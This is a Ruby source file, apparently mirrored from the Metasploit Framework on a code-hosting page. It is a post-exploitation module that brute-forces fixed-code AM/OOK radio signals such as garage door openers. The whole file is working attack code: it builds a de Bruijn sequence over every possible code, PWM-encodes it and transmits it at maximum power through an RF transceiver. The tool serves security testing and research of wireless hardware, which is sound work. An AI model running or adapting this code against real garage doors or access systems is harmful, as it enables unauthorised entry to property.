CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/hardware/rftransceiver/rfpwnon.rb
Views: 11623
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Hardware::RFTransceiver::RFTransceiver
8
9
def initialize(info = {})
10
super(
11
update_info(
12
info,
13
'Name' => 'Brute Force AM/OOK (ie: Garage Doors)',
14
'Description' => %q{
15
Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw
16
binary signals. This is a port of the rfpwnon tool by Corey Harding.
17
(https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py)
18
},
19
'License' => MSF_LICENSE,
20
'Author' => ['Craig Smith'],
21
'Platform' => ['hardware'],
22
'SessionTypes' => ['hwbridge']
23
)
24
)
25
register_options([
26
OptInt.new('FREQ', [true, 'Frequency to transmit on']),
27
OptInt.new('BAUD', [false, 'Baud rate to use', 2000]),
28
OptInt.new('BINLENGTH', [false, 'Binary Length of signal to brute force', 8]),
29
OptInt.new('REPEAT', [false, 'Number of times to repeat the signal', 5]),
30
OptString.new('PPAD', [false, 'Specify your own binary padding before the brute forced binary', nil]),
31
OptString.new('TPAD', [false, 'Specify your own binary padding after the brute forced binary', nil]),
32
OptBool.new('RAW', [false, 'When set, disables PWM encoding. BINLENGTH must be -1', false]),
33
OptBool.new('TRI', [false, 'When set, brute foces a trinary signal.', false]),
34
OptBool.new('EXTRAVERBOSE', [false, 'More verbose', false]),
35
OptInt.new('INDEX', [false, 'USB Index to use', 0]),
36
OptInt.new('DELAY', [false, 'Delay in milliseconds between transmissions', 500])
37
])
38
@zeropwm = '1110'
39
@onepwm = '1000'
40
@brutechar = '01'
41
end
42
43
# @param key [String] binary/trinary represntation
44
# @return [Array] ByteArray
45
def convert_ook(key)
46
pwm_str_key = ''
47
key.each_char do |k|
48
x = '*'
49
case k
50
when '0'
51
x = @zeropwm
52
when '1'
53
x = @onepwm
54
when '2'
55
x = @twopwm
56
end
57
pwm_str_key += x
58
end
59
return pwm_str_key.scan(/.{1,8}/).collect { |x| x.to_i(2).chr }
60
end
61
62
def debruijn_bytes(k, n)
63
@a = [0]
64
@sequence = []
65
debruijn(1, 1, k, n)
66
return @sequence.join
67
end
68
69
def debruijn(t, p, k, n)
70
if t > n
71
if n % p == 0
72
1.upto(p) { |j| @sequence << @a[j] }
73
end
74
else
75
@a[t] = @a[t - p]
76
debruijn(t + 1, p, k, n)
77
(@a[t - p] + 1).upto(k - 1) do |j|
78
@a[t] = j
79
debruijn(t + 1, t, k, n)
80
end
81
end
82
end
83
84
def run
85
unless is_rf?
86
print_error('Not an RF Transceiver')
87
return
88
end
89
unless set_index(datastore['INDEX'])
90
print_error("Couldn't set usb index to #{datastore['INDEX']}")
91
return
92
end
93
if datastore['TRI']
94
@zeropwm = '10001000'
95
@onepwm = '11101110'
96
@twopwm = '10001110'
97
@brutechar = '012'
98
end
99
100
set_modulation('ASK/OOK')
101
set_freq(datastore['FREQ'])
102
set_sync_mode(0)
103
set_baud(datastore['BAUD'])
104
max_power
105
106
print_status('Generating de bruijn sequence...')
107
seq = debruijn_bytes(@brutechar.length, datastore['BINLENGTH'])
108
tail = seq[0, datastore['BINLENGTH'] - 1]
109
brutepacket = seq + tail
110
111
print_status("Brute forcing frequency: #{datastore['FREQ']}")
112
print_status("Padding before binary: #{datastore['PPAD']}") if datastore['PPAD']
113
print_status("Padding after binary: #{datastore['TPAD']}") if datastore['TPAD']
114
print_status("De Bruijin Sequence: #{brutepacket}") if datastore['EXTRAVERBOSE']
115
116
startn = 0
117
endy = 512
118
brutepackettmp = ''
119
addr = 512
120
if datastore['TRI']
121
endy = 128
122
addr = 128
123
end
124
if datastore['REPEAT'] >= 2 || datastore['PPAD'] || datastore['TPAD']
125
endy = datastore['BINLENGTH']
126
addr = 1
127
end
128
# Transmit
129
while startn < brutepacket.length
130
(0..datastore['REPEAT'] - 1).each do |_i|
131
brutepackettemp = brutepacket[startn..endy - 1]
132
next if brutepackettemp.length < datastore['BINLENGTH']
133
134
# Pad if asked to
135
brutepackettemp = datastore['PPAD'] + brutepackettemp if datastore['PPAD']
136
brutepackettemp += datastore['TPAD'] if datastore['TPAD']
137
if datastore['RAW']
138
key_packed = brutepackettemp.scan(/.{1,8}/).collect { |x| x.to_i(2).chr }
139
else
140
key_packed = convert_ook(brutepackettemp)
141
end
142
print_status('Transmitting...')
143
set_flen(key_packed.length)
144
rfxmit(key_packed.join)
145
print_status('Binary before PWM encoding:')
146
print_status(brutepackettemp.to_s)
147
print_status('Binary after PWM encoding:')
148
print_status(key_packed.join.unpack('H*')[0].hex.to_s(2).to_s)
149
sleep(datastore['DELAY'] / 1000) if datastore['DELAY'] > 0
150
end
151
if (datastore['REPEAT'] >= 2) || datastore['PPAD'] || datastore['TPAD']
152
startn += addr
153
endy += addr
154
else
155
startn = startn + addr - datastore['BINLENGTH']
156
endy = endy + addr - datastore['BINLENGTH']
157
end
158
end
159
print_status('Done')
160
set_mode('IDLE')
161
end
162
end
163
164